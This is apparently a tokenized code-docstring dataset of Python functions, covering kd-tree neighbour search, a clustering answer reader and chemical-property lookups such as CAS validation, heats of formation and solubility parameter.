{"signature": "def __recursive_nearest_nodes(self, point, distance, sqrt_distance, node_head, best_nodes):", "body": "if node_head.right is not None:<EOL><INDENT>minimum = node_head.data[node_head.disc] - distance<EOL>if point[node_head.disc] >= minimum:<EOL><INDENT>self.__recursive_nearest_nodes(point, distance, sqrt_distance, node_head.right, best_nodes)<EOL><DEDENT><DEDENT>if node_head.left is not None:<EOL><INDENT>maximum = node_head.data[node_head.disc] + distance<EOL>if point[node_head.disc] < maximum:<EOL><INDENT>self.__recursive_nearest_nodes(point, distance, sqrt_distance, node_head.left, best_nodes)<EOL><DEDENT><DEDENT>candidate_distance = euclidean_distance_square(point, node_head.data)<EOL>if candidate_distance <= sqrt_distance:<EOL><INDENT>best_nodes.append( (candidate_distance, node_head) )<EOL><DEDENT>", "docstring": "!\n        @brief Returns list of neighbors such as tuple (distance, node) that is located in area that is covered by distance.\n\n        @param[in] point (list): Coordinates that is considered as centroind for searching\n        @param[in] distance (double): Distance from the center where seaching is performed.\n        @param[in] sqrt_distance (double): Square distance from the center where searching is performed.\n        @param[in] node_head (node): Node from that searching is performed.\n        @param[in|out] best_nodes (list): List of founded nodes.", "id": "f15715:c2:m12"}
{"signature": "def children(self, node_parent):", "body": "if node_parent.left is not None:<EOL><INDENT>yield node_parent.left<EOL><DEDENT>if node_parent.right is not None:<EOL><INDENT>yield node_parent.right<EOL><DEDENT>", "docstring": "!\n        @brief Returns list of children of node.\n\n        @param[in] node_parent (node): Node whose children are required. \n\n        @return (list) Children of node. If node haven't got any child then None is returned.", "id": "f15715:c2:m13"}
{"signature": "def traverse(self, start_node = None, level = None):", "body": "if start_node is None:<EOL><INDENT>start_node  = self.__root<EOL>level = <NUM_LIT:0><EOL><DEDENT>if start_node is None:<EOL><INDENT>return []<EOL><DEDENT>items = [ (level, start_node) ]<EOL>for child in self.children(start_node):<EOL><INDENT>if child is not None:<EOL><INDENT>items += self.traverse(child, level + <NUM_LIT:1>)<EOL><DEDENT><DEDENT>return items<EOL>", "docstring": "!\n        @brief Traverses all nodes of subtree that is defined by node specified in input parameter.\n\n        @param[in] start_node (node): Node from that travering of subtree is performed.\n        @param[in, out] level (uint): Should be ignored by application.\n\n        @return (list) All nodes of the subtree.", "id": "f15715:c2:m14"}
{"signature": "def __init__(self, answer_path):", "body": "self.__answer_path = answer_path<EOL>self.__clusters = None<EOL>self.__noise = None<EOL>", "docstring": "!\n        @brief Creates instance of answer reader to read proper clustering results of samples.\n\n        @param[in] answer_path (string): Path to clustering results (answers).", "id": "f15719:c0:m0"}
{"signature": "def get_clusters(self):", "body": "self.__read_answer()<EOL>return self.__clusters<EOL>", "docstring": "!\n        @brief Read proper clustering results.\n\n        @return (list) Clusters where each cluster is represented by list of index point from dataset.", "id": "f15719:c0:m1"}
{"signature": "def get_noise(self):", "body": "self.__read_answer()<EOL>return self.__noise<EOL>", "docstring": "!\n        @brief Read proper clustering results\n\n        @return (list) Noise where each outlier is represented by index point from dataset.", "id": "f15719:c0:m2"}
{"signature": "def get_cluster_lengths(self):", "body": "clusters = self.get_clusters()<EOL>return [len(cluster) for cluster in clusters]<EOL>", "docstring": "!\n        @brief Read proper cluster lengths.\n        @details Cluster length means amount of point in a cluster.\n\n        @return (list) Cluster lengths where each length means amount of points in a cluster.", "id": "f15719:c0:m3"}
{"signature": "def __read_answer_from_line(self, index_point, line):", "body": "if line[<NUM_LIT:0>] == '<STR_LIT:n>':<EOL><INDENT>self.__noise.append(index_point)<EOL><DEDENT>else:<EOL><INDENT>index_cluster = int(line)<EOL>if index_cluster >= len(self.__clusters):<EOL><INDENT>self.__clusters.append([index_point])<EOL><DEDENT>else:<EOL><INDENT>self.__clusters[index_cluster].append(index_point)<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Read information about point from the specific line and place it to cluster or noise in line with that\n                information.\n\n        @param[in] index_point (uint): Index point that should be placed to cluster or noise.\n        @param[in] line (string): Line where information about point should be read.", "id": "f15719:c0:m4"}
{"signature": "def __read_answer(self):", "body": "if self.__clusters is not None:<EOL><INDENT>return<EOL><DEDENT>file = open(self.__answer_path, '<STR_LIT:r>')<EOL>self.__clusters, self.__noise = [], []<EOL>index_point = <NUM_LIT:0><EOL>for line in file:<EOL><INDENT>self.__read_answer_from_line(index_point, line)<EOL>index_point += <NUM_LIT:1><EOL><DEDENT>file.close()<EOL>", "docstring": "!\n        @brief Read information about proper clusters and noises from the file.", "id": "f15719:c0:m5"}
{"signature": "def dipole_moment(CASRN, AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in _dipole_CCDB.index and not np.isnan(_dipole_CCDB.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CCCBDB)<EOL><DEDENT>if CASRN in _dipole_Muller.index and not np.isnan(_dipole_Muller.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(MULLER)<EOL><DEDENT>if CASRN in _dipole_Poling.index and not np.isnan(_dipole_Poling.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(POLING)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == CCCBDB:<EOL><INDENT>_dipole = float(_dipole_CCDB.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == MULLER:<EOL><INDENT>_dipole = float(_dipole_Muller.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == POLING:<EOL><INDENT>_dipole = float(_dipole_Poling.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>_dipole = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _dipole<EOL>", "docstring": "r'''This function handles the retrieval of a chemical's dipole moment.\n    Lookup is based on CASRNs. Will automatically select a data source to use\n    if no Method is provided; returns None if the data is not available.\n\n    Prefered source is 'CCCBDB'. Considerable variation in reported data has\n    found.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    dipole : float\n        Dipole moment, [debye]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain dipole moment with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Accepted methods are 'CCCBDB', 'MULLER', or\n        'POLING'. All valid values are also held in the list `dipole_methods`.\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        the dipole moment for the desired chemical, and will return methods\n        instead of the dipole moment\n\n    Notes\n    -----\n    A total of three sources are available for this function. They are:\n\n        * 'CCCBDB', a series of critically evaluated data for compounds in\n          [1]_, intended for use in predictive modeling.\n        * 'MULLER', a collection of data in a\n          group-contribution scheme in [2]_.\n        * 'POLING', in the appendix in [3].\n\n    This function returns dipole moment in units of Debye. This is actually\n    a non-SI unit; to convert to SI, multiply by 3.33564095198e-30 and its\n    units will be in ampere*second^2 or equivalently and more commonly given,\n    coulomb*second. The constant is the result of 1E-21/c, where c is the\n    speed of light.\n\n    Examples\n    --------\n    >>> dipole_moment(CASRN='64-17-5')\n    1.44\n\n    References\n    ----------\n    .. [1] NIST Computational Chemistry Comparison and Benchmark Database\n       NIST Standard Reference Database Number 101 Release 17b, September 2015,\n       Editor: Russell D. Johnson III http://cccbdb.nist.gov/\n    .. [2] Muller, Karsten, Liudmila Mokrushina, and Wolfgang Arlt. \"Second-\n       Order Group Contribution Method for the Determination of the Dipole\n       Moment.\" Journal of Chemical & Engineering Data 57, no. 4 (April 12,\n       2012): 1231-36. doi:10.1021/je2013395.\n    .. [3] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15772:m0"}
{"signature": "def Hf(CASRN, AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in API_TDB_data.index:<EOL><INDENT>methods.append(API_TDB)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == API_TDB:<EOL><INDENT>_Hf = float(API_TDB_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>_Hf = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _Hf<EOL>", "docstring": "r'''This function handles the retrieval of a chemical's standard-phase\n    heat of formation. The lookup is based on CASRNs. Selects the only\n    data source available ('API TDB') if the chemical is in it.\n    Returns None if the data is not available.\n\n    Function has data for 571 chemicals.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Hf : float\n        Standard-state heat of formation, [J/mol]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Hf with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        Hf_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Hf for the desired chemical, and will return methods instead of Hf\n\n    Notes\n    -----\n    Only one source of information is available to this function. it is:\n\n        * 'API_TDB', a compilation of heats of formation of unspecified phase.\n          Not the original data, but as reproduced in [1]_. Some chemicals with\n          duplicated CAS numbers were removed.\n\n    Examples\n    --------\n    >>> Hf(CASRN='7732-18-5')\n    -241820.0\n\n    References\n    ----------\n    .. [1] Albahri, Tareq A., and Abdulla F. Aljasmi. \"SGC Method for\n       Predicting the Standard Enthalpy of Formation of Pure Compounds from\n       Their Molecular Structures.\" Thermochimica Acta 568\n       (September 20, 2013): 46-60. doi:10.1016/j.tca.2013.06.020.", "id": "f15773:m0"}
{"signature": "def Hf_l(CASRN, AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in ATcT_l.index:<EOL><INDENT>methods.append(ATCT_L)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == ATCT_L:<EOL><INDENT>_Hfl = float(ATcT_l.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _Hfl<EOL>", "docstring": "r'''This function handles the retrieval of a chemical's liquid standard\n    phase heat of formation. The lookup is based on CASRNs. Selects the only\n    data source available, Active Thermochemical Tables (l), if the chemical is\n    in it. Returns None if the data is not available.\n\n    Function has data for 34 chemicals.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Hfl : float\n        Liquid standard-state heat of formation, [J/mol]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Hf(l) with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        Hf_l_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Hf(l) for the desired chemical, and will return methods instead of Hf(l)\n\n    Notes\n    -----\n    Only one source of information is available to this function. It is:\n\n        * 'ATCT_L', the Active Thermochemical Tables version 1.112.\n\n    Examples\n    --------\n    >>> Hf_l('67-56-1')\n    -238400.0\n\n    References\n    ----------\n    .. [1] Ruscic, Branko, Reinhardt E. Pinzon, Gregor von Laszewski, Deepti\n       Kodeboyina, Alexander Burcat, David Leahy, David Montoy, and Albert F.\n       Wagner. \"Active Thermochemical Tables: Thermochemistry for the 21st\n       Century.\" Journal of Physics: Conference Series 16, no. 1\n       (January 1, 2005): 561. doi:10.1088/1742-6596/16/1/078.", "id": "f15773:m1"}
{"signature": "def Hf_g(CASRN, AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in ATcT_g.index:<EOL><INDENT>methods.append(ATCT_G)<EOL><DEDENT>if CASRN in TRC_gas_data.index and not np.isnan(TRC_gas_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(TRC)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == ATCT_G:<EOL><INDENT>_Hfg = float(ATcT_g.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == TRC:<EOL><INDENT>_Hfg = float(TRC_gas_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _Hfg<EOL>", "docstring": "r'''This function handles the retrieval of a chemical's gas heat of\n    formation. Lookup is based on CASRNs. Will automatically select a data\n    source to use if no Method is provided; returns None if the data is not\n    available.\n\n    Prefered sources are 'Active Thermochemical Tables (g)' for high accuracy,\n    and 'TRC' for less accuracy but more chemicals.\n    Function has data for approximately 2000 chemicals.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    _Hfg : float\n        Gas phase heat of formation, [J/mol]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Hf(g) with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        Hf_g_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Hf(g) for the desired chemical, and will return methods instead of Hf(g)\n\n    Notes\n    -----\n    Sources are:\n\n        * 'ATCT_G', the Active Thermochemical Tables version 1.112.\n        * 'TRC', from a 1994 compilation.\n\n    Examples\n    --------\n    >>> Hf_g('67-56-1')\n    -200700.0\n\n    References\n    ----------\n    .. [1] Ruscic, Branko, Reinhardt E. Pinzon, Gregor von Laszewski, Deepti\n       Kodeboyina, Alexander Burcat, David Leahy, David Montoy, and Albert F.\n       Wagner. \"Active Thermochemical Tables: Thermochemistry for the 21st\n       Century.\" Journal of Physics: Conference Series 16, no. 1\n       (January 1, 2005): 561. doi:10.1088/1742-6596/16/1/078.\n    .. [2] Frenkel\u02b9, M. L, Texas Engineering Experiment Station, and\n       Thermodynamics Research Center. Thermodynamics of Organic Compounds in\n       the Gas State. College Station, Tex.: Thermodynamics Research Center,\n       1994.", "id": "f15773:m2"}
{"signature": "def checkCAS(CASRN):", "body": "try:<EOL><INDENT>check = CASRN[-<NUM_LIT:1>]<EOL>CASRN = CASRN[::-<NUM_LIT:1>][<NUM_LIT:1>:]<EOL>productsum = <NUM_LIT:0><EOL>i = <NUM_LIT:1><EOL>for num in CASRN:<EOL><INDENT>if num == '<STR_LIT:->':<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>productsum += i*int(num)<EOL>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>return (productsum % <NUM_LIT:10> == int(check))<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks if a CAS number is valid. Returns False if the parser cannot \n    parse the given string..\n\n    Parameters\n    ----------\n    CASRN : string\n        A three-piece, dash-separated set of numbers\n\n    Returns\n    -------\n    result : bool\n        Boolean value if CASRN was valid. If parsing fails, return False also.\n\n    Notes\n    -----\n    Check method is according to Chemical Abstract Society. However, no lookup\n    to their service is performed; therefore, this function cannot detect\n    false positives.\n\n    Function also does not support additional separators, apart from '-'.\n\n    CAS numbers up to the series 1 XXX XXX-XX-X are now being issued.\n\n    A long can hold CAS numbers up to 2 147 483-64-7\n\n    Examples\n    --------\n    >>> checkCAS('7732-18-5')\n    True\n    >>> checkCAS('77332-18-5')\n    False", "id": "f15774:m0"}
{"signature": "def CAS_from_any(ID, autoload=False):", "body": "ID = ID.strip()<EOL>ID_lower = ID.lower()<EOL>if ID in periodic_table:<EOL><INDENT>if periodic_table[ID].number not in homonuclear_elemental_gases:<EOL><INDENT>return periodic_table[ID].CAS<EOL><DEDENT>else:<EOL><INDENT>for i in [periodic_table.symbol_to_elements, <EOL>periodic_table.number_to_elements,<EOL>periodic_table.CAS_to_elements]:<EOL><INDENT>if i == periodic_table.number_to_elements:<EOL><INDENT>if int(ID in i):<EOL><INDENT>return periodic_table[int(ID)].CAS<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if ID in i:<EOL><INDENT>return periodic_table[ID].CAS<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if checkCAS(ID):<EOL><INDENT>CAS_lookup = pubchem_db.search_CAS(ID, autoload)<EOL>if CAS_lookup:<EOL><INDENT>return CAS_lookup.CASs<EOL><DEDENT>CAS_alternate_loopup = pubchem_db.search_name(ID, autoload)<EOL>if CAS_alternate_loopup:<EOL><INDENT>return CAS_alternate_loopup.CASs<EOL><DEDENT>if not autoload:<EOL><INDENT>return CAS_from_any(ID, autoload=True)<EOL><DEDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>ID_len = len(ID)<EOL>if ID_len > <NUM_LIT:9>:<EOL><INDENT>inchi_search = False<EOL>if ID_lower[<NUM_LIT:0>:<NUM_LIT:9>] == '<STR_LIT>':<EOL><INDENT>inchi_search = ID[<NUM_LIT:9>:]<EOL><DEDENT>elif ID_lower[<NUM_LIT:0>:<NUM_LIT:8>] == '<STR_LIT>':<EOL><INDENT>inchi_search = ID[<NUM_LIT:8>:]<EOL><DEDENT>if inchi_search:<EOL><INDENT>inchi_lookup = pubchem_db.search_InChI(inchi_search, autoload)<EOL>if inchi_lookup:<EOL><INDENT>return inchi_lookup.CASs<EOL><DEDENT>else:<EOL><INDENT>if not autoload:<EOL><INDENT>return CAS_from_any(ID, autoload=True)<EOL><DEDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if ID_lower[<NUM_LIT:0>:<NUM_LIT:9>] == '<STR_LIT>':<EOL><INDENT>inchi_key_lookup = pubchem_db.search_InChI_key(ID[<NUM_LIT:9>:], autoload)<EOL>if inchi_key_lookup:<EOL><INDENT>return inchi_key_lookup.CASs<EOL><DEDENT>else:<EOL><INDENT>if not autoload:<EOL><INDENT>return CAS_from_any(ID, autoload=True)<EOL><DEDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if ID_len > <NUM_LIT:8>:<EOL><INDENT>if ID_lower[<NUM_LIT:0>:<NUM_LIT:8>] == '<STR_LIT>':<EOL><INDENT>pubchem_lookup = pubchem_db.search_pubchem(ID[<NUM_LIT:8>:], autoload)<EOL>if pubchem_lookup:<EOL><INDENT>return pubchem_lookup.CASs<EOL><DEDENT>else:<EOL><INDENT>if not autoload:<EOL><INDENT>return CAS_from_any(ID, autoload=True)<EOL><DEDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if ID_len > <NUM_LIT:7>:<EOL><INDENT>if ID_lower[<NUM_LIT:0>:<NUM_LIT:7>] == '<STR_LIT>':<EOL><INDENT>smiles_lookup = pubchem_db.search_smiles(ID[<NUM_LIT:7>:], autoload)<EOL>if smiles_lookup:<EOL><INDENT>return smiles_lookup.CASs<EOL><DEDENT>else:<EOL><INDENT>if not autoload:<EOL><INDENT>return CAS_from_any(ID, autoload=True)<EOL><DEDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>smiles_lookup = pubchem_db.search_smiles(ID, autoload)<EOL>if smiles_lookup:<EOL><INDENT>return smiles_lookup.CASs<EOL><DEDENT>try:<EOL><INDENT>formula_query = pubchem_db.search_formula(serialize_formula(ID), autoload)<EOL>if formula_query and type(formula_query) == ChemicalMetadata:<EOL><INDENT>return formula_query.CASs<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>name_lookup = pubchem_db.search_name(ID, autoload)<EOL>if name_lookup:<EOL><INDENT>return name_lookup.CASs<EOL>", "docstring": "Looks up the CAS number of a chemical by searching and testing for the\n    string being any of the following types of chemical identifiers:\n\n    * Name, in IUPAC form or common form or a synonym registered in PubChem\n    * InChI name, prefixed by 'InChI=1S/' or 'InChI=1/'\n    * InChI key, prefixed by 'InChIKey='\n    * PubChem CID, prefixed by 'PubChem='\n    * SMILES (prefix with 'SMILES=' to ensure smiles parsing; ex.\n      'C' will return Carbon as it is an element whereas the SMILES \n      interpretation for 'C' is methane)\n    * CAS number (obsolete numbers may point to the current number)    \n\n    If the input is an ID representing an element, the following additional \n    inputs may be specified as \n\n    * Atomic symbol (ex 'Na')\n    * Atomic number (as a string)\n\n    Parameters\n    ----------\n    ID : str\n        One of the name formats described above\n\n    Returns\n    -------\n    CASRN : string\n        A three-piece, dash-separated set of numbers\n\n    Notes\n    -----\n    An exception is raised if the name cannot be identified. The PubChem \n    database includes a wide variety of other synonyms, but these may not be\n    present for all chemcials.\n\n    Examples\n    --------\n    >>> CAS_from_any('water')\n    '7732-18-5'\n    >>> CAS_from_any('InChI=1S/C2H6O/c1-2-3/h3H,2H2,1H3')\n    '64-17-5'\n    >>> CAS_from_any('CCCCCCCCCC')\n    '124-18-5'\n    >>> CAS_from_any('InChIKey=LFQSCWFLJHTTHZ-UHFFFAOYSA-N')\n    '64-17-5'\n    >>> CAS_from_any('pubchem=702')\n    '64-17-5'\n    >>> CAS_from_any('O') # only elements can be specified by symbol\n    '17778-80-2'", "id": "f15774:m1"}
{"signature": "def PubChem(CASRN):", "body": "return pubchem_db.search_CAS(CASRN).pubchemid<EOL>", "docstring": "Given a CASRN in the database, obtain the PubChem database\n    number of the compound.\n\n    Parameters\n    ----------\n    CASRN : string\n        Valid CAS number in PubChem database [-]\n\n    Returns\n    -------\n    pubchem : int\n        PubChem database id, as an integer [-]\n\n    Notes\n    -----\n    CASRN must be an indexing key in the pubchem database.\n\n    Examples\n    --------\n    >>> PubChem('7732-18-5')\n    962\n\n    References\n    ----------\n    .. [1] Pubchem.", "id": "f15774:m2"}
{"signature": "def MW(CASRN):", "body": "return pubchem_db.search_CAS(CASRN).MW<EOL>", "docstring": "Given a CASRN in the database, obtain the Molecular weight of the\n    compound, if it is in the database.\n\n    Parameters\n    ----------\n    CASRN : string\n        Valid CAS number in PubChem database\n\n    Returns\n    -------\n    MolecularWeight : float\n\n    Notes\n    -----\n    CASRN must be an indexing key in the pubchem database. No MW Calculation is\n    performed; nor are any historical isotopic corrections applied.\n\n    Examples\n    --------\n    >>> MW('7732-18-5')\n    18.01528\n\n    References\n    ----------\n    .. [1] Pubchem.", "id": "f15774:m3"}
{"signature": "def formula(CASRN):", "body": "return pubchem_db.search_CAS(CASRN).formula<EOL>", "docstring": ">>> formula('7732-18-5')\n'H2O'", "id": "f15774:m4"}
{"signature": "def smiles(CASRN):", "body": "return pubchem_db.search_CAS(CASRN).smiles<EOL>", "docstring": ">>> smiles('7732-18-5')\n'O'", "id": "f15774:m5"}
{"signature": "def InChI(CASRN):", "body": "return pubchem_db.search_CAS(CASRN).InChI<EOL>", "docstring": ">>> InChI('7732-18-5')\n'H2O/h1H2'", "id": "f15774:m6"}
{"signature": "def InChI_Key(CASRN):", "body": "return pubchem_db.search_CAS(CASRN).InChI_key<EOL>", "docstring": ">>> InChI_Key('7732-18-5')\n'XLYOFNOQVPJJNP-UHFFFAOYSA-N'", "id": "f15774:m7"}
{"signature": "def IUPAC_name(CASRN):", "body": "return pubchem_db.search_CAS(CASRN).iupac_name<EOL>", "docstring": ">>> IUPAC_name('7732-18-5')\n'oxidane'", "id": "f15774:m8"}
{"signature": "def name(CASRN):", "body": "return pubchem_db.search_CAS(CASRN).common_name<EOL>", "docstring": ">>> name('7732-18-5')\n'water'", "id": "f15774:m9"}
{"signature": "def synonyms(CASRN):", "body": "return pubchem_db.search_CAS(CASRN).all_names<EOL>", "docstring": ">>> synonyms('98-00-0')\n['furan-2-ylmethanol', 'furfuryl alcohol', '2-furanmethanol', '2-furancarbinol', '2-furylmethanol', '2-furylcarbinol', '98-00-0', '2-furanylmethanol', 'furfuranol', 'furan-2-ylmethanol', '2-furfuryl alcohol', '5-hydroxymethylfuran', 'furfural alcohol', 'alpha-furylcarbinol', '2-hydroxymethylfuran', 'furfuralcohol', 'furylcarbinol', 'furyl alcohol', '2-(hydroxymethyl)furan', 'furan-2-yl-methanol', 'furfurylalcohol', 'furfurylcarb', 'methanol, (2-furyl)-', '2-furfurylalkohol', 'furan-2-methanol', '2-furane-methanol', '2-furanmethanol, homopolymer', '(2-furyl)methanol', '2-hydroxymethylfurane', 'furylcarbinol (van)', '2-furylmethan-1-ol', '25212-86-6', '93793-62-5', 'furanmethanol', 'polyfurfuryl alcohol', 'pffa', 'poly(furfurylalcohol)', 'poly-furfuryl alcohol', '(fur-2-yl)methanol', '.alpha.-furylcarbinol', '2-hydroxymethyl-furan', 'poly(furfuryl alcohol)', '.alpha.-furfuryl alcohol', 'agn-pc-04y237', 'h159', 'omega-hydroxypoly(furan-2,5-diylmethylene)', '(2-furyl)-methanol (furfurylalcohol)', '40795-25-3', '88161-36-8']", "id": "f15774:m10"}
{"signature": "def mixture_from_any(ID):", "body": "if type(ID) == list:<EOL><INDENT>if len(ID) == <NUM_LIT:1>:<EOL><INDENT>ID = ID[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>ID = ID.lower().strip()<EOL>ID2 = ID.replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL>ID3 = ID.replace('<STR_LIT:->', '<STR_LIT>')<EOL>for i in [ID, ID2, ID3]:<EOL><INDENT>if i in _MixtureDictLookup:<EOL><INDENT>return _MixtureDictLookup[i]<EOL><DEDENT><DEDENT>raise Exception('<STR_LIT>')<EOL>", "docstring": "Looks up a string which may represent a mixture in the database of \n    thermo to determine the key by which the composition of that mixture can\n    be obtained in the dictionary `_MixtureDict`.\n\n    Parameters\n    ----------\n    ID : str\n        A string or 1-element list containing the name which may represent a\n        mixture.\n\n    Returns\n    -------\n    key : str\n        Key for access to the data on the mixture in `_MixtureDict`.\n\n    Notes\n    -----\n    White space, '-', and upper case letters are removed in the search.\n\n    Examples\n    --------\n    >>> mixture_from_any('R512A')\n    'R512A'\n    >>> mixture_from_any([u'air'])\n    'Air'", "id": "f15774:m11"}
{"signature": "@property<EOL><INDENT>def charge(self):<DEDENT>", "body": "try:<EOL><INDENT>return self._charge<EOL><DEDENT>except AttributeError:<EOL><INDENT>self._charge = charge_from_formula(self.formula)<EOL>return self._charge<EOL><DEDENT>", "docstring": "Charge of the species as an integer. Computed as a property as most\n        species do not have a charge and so storing it would be a waste of \n        memory.", "id": "f15774:c0:m1"}
{"signature": "def load_included_indentifiers(self, file_name):", "body": "self.restrict_identifiers = True<EOL>included_identifiers = set()       <EOL>with open(file_name) as f:<EOL><INDENT>[included_identifiers.add(int(line)) for line in f]<EOL><DEDENT>self.included_identifiers = included_identifiers<EOL>", "docstring": "Loads a file with newline-separated integers representing which \n        chemical should be kept in memory; ones not included are ignored.", "id": "f15774:c1:m3"}
{"signature": "def solubility_parameter(T=<NUM_LIT>, Hvapm=None, Vml=None,<EOL>CASRN='<STR_LIT>', AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if T and Hvapm and Vml:<EOL><INDENT>methods.append(DEFINITION)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == DEFINITION:<EOL><INDENT>if (not Hvapm) or (not T) or (not Vml):<EOL><INDENT>delta = None<EOL><DEDENT>else:<EOL><INDENT>if Hvapm < R*T or Vml < <NUM_LIT:0>:  <EOL><INDENT>delta = None<EOL><DEDENT>else:<EOL><INDENT>delta = ((Hvapm - R*T)/Vml)**<NUM_LIT:0.5><EOL><DEDENT><DEDENT><DEDENT>elif Method == NONE:<EOL><INDENT>delta = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return delta<EOL>", "docstring": "r'''This function handles the calculation of a chemical's solubility\n    parameter. Calculation is a function of temperature, but is not always\n    presented as such. No lookup values are available; either `Hvapm`, `Vml`,\n    and `T` are provided or the calculation cannot be performed.\n\n    .. math::\n        \\delta = \\sqrt{\\frac{\\Delta H_{vap} - RT}{V_m}}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [k]\n    Hvapm : float\n        Heat of vaporization [J/mol/K]\n    Vml : float\n        Specific volume of the liquid [m^3/mol]\n    CASRN : str, optional\n        CASRN of the fluid, not currently used [-]\n\n    Returns\n    -------\n    delta : float\n        Solubility parameter, [Pa^0.5]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain the solubility parameter\n        with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        solubility_parameter_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        the solubility parameter for the desired chemical, and will return\n        methods instead of the solubility parameter\n\n    Notes\n    -----\n    Undefined past the critical point. For convenience, if Hvap is not defined,\n    an error is not raised; None is returned instead. Also for convenience,\n    if Hvapm is less than RT, None is returned to avoid taking the root of a\n    negative number.\n\n    This parameter is often given in units of cal/ml, which is 2045.48 times\n    smaller than the value returned here.\n\n    Examples\n    --------\n    Pentane at STP\n\n    >>> solubility_parameter(T=298.2, Hvapm=26403.3, Vml=0.000116055)\n    14357.681538173534\n\n    References\n    ----------\n    .. [1] 